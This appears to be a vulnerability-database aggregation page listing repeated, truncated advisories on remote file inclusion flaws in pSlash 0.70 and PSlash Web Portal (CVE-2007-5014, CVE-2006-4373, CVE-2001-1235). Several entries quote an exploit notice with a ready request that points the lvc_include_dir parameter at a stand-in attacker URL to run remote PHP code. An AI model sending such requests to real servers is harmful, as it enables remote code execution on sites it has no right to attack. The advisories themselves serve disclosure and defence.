EUVD-2007-4995

Malware in sbrugna...

PSlash Web Portal index.php Code Execution - Ver2 (CVE-2001-1235)

A code execution vulnerability has been reported in PSlash Web Portal. A remote attacker could trigger this vulnerability by including files from remote web sites using an HTTP request that modifies the includedir variable. Successful exploitation of this vulnerability could allow a remote attack...

PSlash Web Portal index.php Code Execution - Ver2 (CVE-2001-1235)

A code execution vulnerability has been reported in PSlash Web Portal. A remote attacker could trigger this vulnerability by including files from remote web sites using an HTTP request that modifies the includedir variable. Successful exploitation of this vulnerability could allow a remote attack...

Remote file inclusion

Multiple PHP remote file inclusion vulnerabilities in pSlash 0.70 allow remote attackers to execute arbitrary PHP code via a URL in 1 the lvcadmindir parameter to modules/visitors2/admin/view-archiver.inc.php or 2 the lvcincludedir parameter to modules/visitors2/include/menus.inc.php. NOTE: the...

CVE-2007-5014

Multiple PHP remote file inclusion vulnerabilities in pSlash 0.70 allow remote attackers to execute arbitrary PHP code via a URL in 1 the lvcadmindir parameter to modules/visitors2/admin/view-archiver.inc.php or 2 the lvcincludedir parameter to modules/visitors2/include/menus.inc.php. NOTE: the...

CVE-2007-5014

CVE-2007-5014 concerns pSlash 0.70 with multiple PHP remote file inclusion vulnerabilities. The reported vectors allow an attacker to specify a URL for PHP code execution via (1) lvc_admin_dir in modules/visitors2/admin/view-archiver.inc.php and (2) lvc_include_dir in modules/visitors2/include/me...

CVE-2007-5014

Multiple PHP remote file inclusion vulnerabilities in pSlash 0.70 allow remote attackers to execute arbitrary PHP code via a URL in 1 the lvcadmindir parameter to modules/visitors2/admin/view-archiver.inc.php or 2 the lvcincludedir parameter to modules/visitors2/include/menus.inc.php. NOTE: the...

CVE-2007-5014: Improper Control of Generation of Code

Multiple PHP remote file inclusion vulnerabilities in pSlash 0.70 allow remote attackers to execute arbitrary PHP code via a URL in 1 the lvcadmindir parameter to modules/visitors2/admin/view-archiver.inc.php or 2 the lvcincludedir parameter to modules/visitors2/include/menus.inc.php. NOTE: the...

PSlash lvc_include_dir远程文件包含漏洞

PSlash是一款基于PHP的WEB应用程序。 PSlash不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是由于'config.inc.php'脚本对用户提交的'lvcincludedir'参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。 Derek Leung pSlash 0.70 http://www.pslash.com/...

pslash07.txt

pSlash v0.7 lvcincludedir Remote Include Vulnerability Author: XORON Class: Remote cont@ct: x0r0nathotmaildotcom Code: require$lvcincludedir.'db/dbmysql.inc.php'; Exploit: http://www.site.com/path/modules/visitors2/include/config.inc.php?lvcincludedir=http://evilscripts? Greetz: str0ke, Ironfist,...

CVE-2006-4373

PHP remote file inclusion vulnerability in modules/visitors2/include/config.inc.php in pSlash 0.70 allows remote attackers to execute arbitrary PHP code via a URL in the lvcincludedir parameter...

CVE-2006-4373

PHP remote file inclusion vulnerability in modules/visitors2/include/config.inc.php in pSlash 0.70 allows remote attackers to execute arbitrary PHP code via a URL in the lvcincludedir parameter...

CVE-2006-4373

CVE-2006-4373 describes a PHP remote file inclusion in pSlash 0.70. The vulnerability resides in modules/visitors2/include/config.inc.php, where an attacker can cause arbitrary PHP code execution by providing a URL in the lvc_include_dir parameter. This is part of a family of RFI issues for pSlas...

CVE-2006-4373: Undefined Security Weakness

PHP remote file inclusion vulnerability in modules/visitors2/include/config.inc.php in pSlash 0.70 allows remote attackers to execute arbitrary PHP code via a URL in the lvcincludedir parameter...

pSlash v0.7 (lvc_include_dir) Remote Include Vulnerability

pSlash v0.7 lvcincludedir Remote Include Vulnerability Author: XORON Class: Remote cont@ct: x0r0nathotmaildotcom Code: require$lvcincludedir.'db/dbmysql.inc.php'; Exploit: http://www.site.com/path/modules/visitors2/include/config.inc.php?lvcincludedir=http://evilscripts? Greetz: str0ke, Ironfist,...

pSlash 0.7 (lvc_include_dir) Remote File Include Vulnerability

Exploit for unknown platform in category web applications ============================================================== pSlash 0.7 lvcincludedir Remote File Include Vulnerability ============================================================== pSlash v0.7 lvcincludedir Remote Include Vulnerability...

pSlash 0.7 - lvc_include_dir Remote File Inclusion

pSlash 0.7 - lvcincludedir Remote File Inclusion pSlash v0.7 lvcincludedir Remote Include Vulnerability Author: XORON Class: Remote cont@ct: x0r0nathotmaildotcom Code: require$lvcincludedir.'db/dbmysql.inc.php'; Exploit:...

pSlash 0.7 (lvc_include_dir) Remote File Include Vulnerability

No description provided by source. pSlash v0.7 lvcincludedir Remote Include Vulnerability Author: XORON Class: Remote cont@ct: x0r0nathotmaildotcom Code: require$lvcincludedir.'db/dbmysql.inc.php'; Exploit:...

pSlash 0.7 - 'lvc_include_dir' Remote File Inclusion

pSlash v0.7 lvcincludedir Remote Include Vulnerability Author: XORON Class: Remote cont@ct: x0r0nathotmaildotcom Code: require$lvcincludedir.'db/dbmysql.inc.php'; Exploit: http://www.site.com/path/modules/visitors2/include/config.inc.php?lvcincludedir=http://evilscripts? Greetz: str0ke, Ironfist,...

CVE-2001-1235

CVE-2001-1235 affects PSlash Web Portal (PHP script 0.7 and earlier). Affected component: index.php; vulnerability arises when an HTTP request modifies the includedir variable, allowing a remote attacker to include remote files and execute arbitrary code on the server. Documented impact is remote...